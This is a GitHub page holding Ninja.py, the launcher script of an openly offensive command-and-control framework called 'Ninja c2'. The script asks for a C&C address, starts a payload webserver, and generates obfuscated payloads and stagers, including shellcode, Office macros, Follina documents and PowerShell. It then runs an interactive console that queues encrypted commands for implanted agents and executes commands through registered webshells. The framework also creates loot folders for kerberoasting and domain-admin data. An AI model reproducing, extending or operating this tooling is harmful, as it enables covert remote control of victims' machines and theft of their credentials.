-
Notifications
You must be signed in to change notification settings - Fork 169
/
Ninja.py
executable file
·163 lines (140 loc) · 7.14 KB
/
Ninja.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python3
__program__ = "Ninja c2"
__version__ = "2.0"
from os import mkdir
import _thread
import threading
from shlex import split
from rich.console import Console
console = Console()
try:
from core.cmd import *
from core.payloads import *
from core import config
except (ImportError, ImportWarning) as e:
console.print("Module Import Error +"+str(e)+"\n### Make sure you run:./install.sh then start campaign by running : python3 start_campaign.py", style="bold red")
exit(1)
class Ninja:
def create_dirs(self):
dirs = ["kerberoast", "DA", "images", "file", "downloads"]
try:
"""To store payloads"""
mkdir("utils/payloads")
mkdir("utils/payloads/shellcodes")
mkdir("utils/payloads/Macros")
mkdir("utils/payloads/Follina")
mkdir("utils/payloads/Executables")
mkdir("utils/payloads/Powershell")
mkdir("utils/payloads/Webserver")
except FileExistsError:
pass
"""Create campaign directories"""
try:
for directory in dirs:
name = campaign_name + "/" + directory
os.makedirs(name)
except (OSError, FileExistsError):
pass
def NinjaCMD(self):
while True:
try:
"""Adding tab completion and adding to history file"""
readline.set_completer(Command_Completer)
readline.parse_and_bind("tab: complete")
readline.write_history_file(".history")
"""Displaying Ninja prompt based on what we are interacting with"""
if config.POINTER == 'main':
command = console.input(f'[bold yellow]({config.BASE}:{config.POINTER})>[/ bold yellow] ')
elif config.POINTER == 'webshell':
command = console.input(f'[bold cyan]({config.BASE}:{config.POINTER})> [/bold cyan]')
elif config.Implant_Type == 'agent':
agent = str(config.AGENTS[config.POINTER][0])
agent2 = config.AGENTS[config.POINTER][5]
command = console.input(f'[bold green]({config.BASE} : Agent({agent})-{agent2})[/bold green]')
elif config.Implant_Type == 'webshell':
webshell1 = str(config.WEBSHELLS[config.POINTER][0])
webshell2 = config.WEBSHELLS[config.POINTER][1]
command = console.input(f'[bold red]({config.BASE} : webshell({webshell1})@{webshell2})[/bold red]')
try:
bcommand = split(command) # split from shlex module
except:
print("Error with input command")
if bcommand:
if bcommand[0] in cmd.COMMANDS:
result = getattr(globals()['cmd'](), bcommand[0])(bcommand)
elif bcommand[
0] not in cmd.COMMANDS and config.POINTER != 'main' and config.POINTER != 'webshell' and config.Implant_Type == 'agent':
config.COMMAND[config.POINTER].append(encrypt(AESKey, command.strip()))
elif bcommand[
0] not in cmd.COMMANDS and config.POINTER != 'main' and config.POINTER != 'webshell' and config.Implant_Type == 'webshell':
try:
_thread.start_new_thread(webshell.webshell_execute,
(config.WEBSHELLS[config.POINTER], command.strip(),))
except:
console.print("[!] Error: unable to start thread", style="bold red")
console.print_exception()
except (EOFError, KeyboardInterrupt): # Handles Ctrl+C and Ctrl+D (NO exit)
console.print("\n[!] Type exit", style="bold red")
continue
def Make_Payloads(self): # Not reliable? (May require some more exceptions work)
try:
console.print("\n[bold italic cyan][-] Creating Payloads..[/bold italic cyan]")
"""core/config.py"""
config.PAYLOAD()
config.obfuscate()
config.STAGER()
config.cspayload()
"""core/payloads.py"""
Create_Payloads()
except:
"""Remove below line if it's affecting the tool (replace with 'pass')"""
console.print_exception()
def main(self):
self.create_dirs()
CC = []
if config.HOST == "" or config.PORT == "":
while len(CC) == 0:
CC = console.input('[cyan][-] Enter a DN/IP:port for C&C: IP:Port: [/cyan]')
CC = CC.split(':')
config.set_port(CC[1])
config.set_ip(CC[0])
"""Start webserver"""
console.print("[-] Starting WebServer..", style="bold italic cyan")
server = threading.Thread(target=webserver.main, args=())
server.start()
time.sleep(0.5)
"""Make payloads"""
self.Make_Payloads()
"""Reading history file content to use"""
f = open(".history", "a").write("\n")
readline.read_history_file(".history")
"""Loading webshell if exist"""
try:
console.print("\n[-] Loading registered webshell list", style="bold italic cyan")
with open('.webshells', 'rb') as f:
config.WEBSHELLS = pickle.load(f)
except FileNotFoundError:
console.print("[!] Webshell list file doesn't exist.\n", style="red")
"""Start Ninja Command line"""
self.NinjaCMD()
@staticmethod
def Banner():
console.print(f"""[blue]
███╗ ██╗██╗███╗ ██╗ ██╗ █████╗ ██████╗██████╗
████╗ ██║██║████╗ ██║ ██║██╔══██╗ ██╔════╝╚════██╗
██╔██╗ ██║██║██╔██╗ ██║ ██║███████║ ██║ █████╔╝
██║╚██╗██║██║██║╚██╗██║██ ██║██╔══██║ ██║ ██╔═══╝
██║ ╚████║██║██║ ╚████║╚█████╔╝██║ ██║ ╚██████╗███████╗
╚═╝ ╚═══╝╚═╝╚═╝ ╚═══╝ ╚════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
[/blue][bold cyan]Version: {config.VERSION}[/bold cyan]
[bold yellow][-] Ninja C2 | Stealthy Pwn like a Ninja[/bold yellow]\n\n""")
if __name__ == '__main__':
try:
"""Create an instance of the class"""
ninja = Ninja()
"""Display banner"""
Ninja.Banner()
"""Run Ninja"""
ninja.main()
except Exception:
console.print_exception()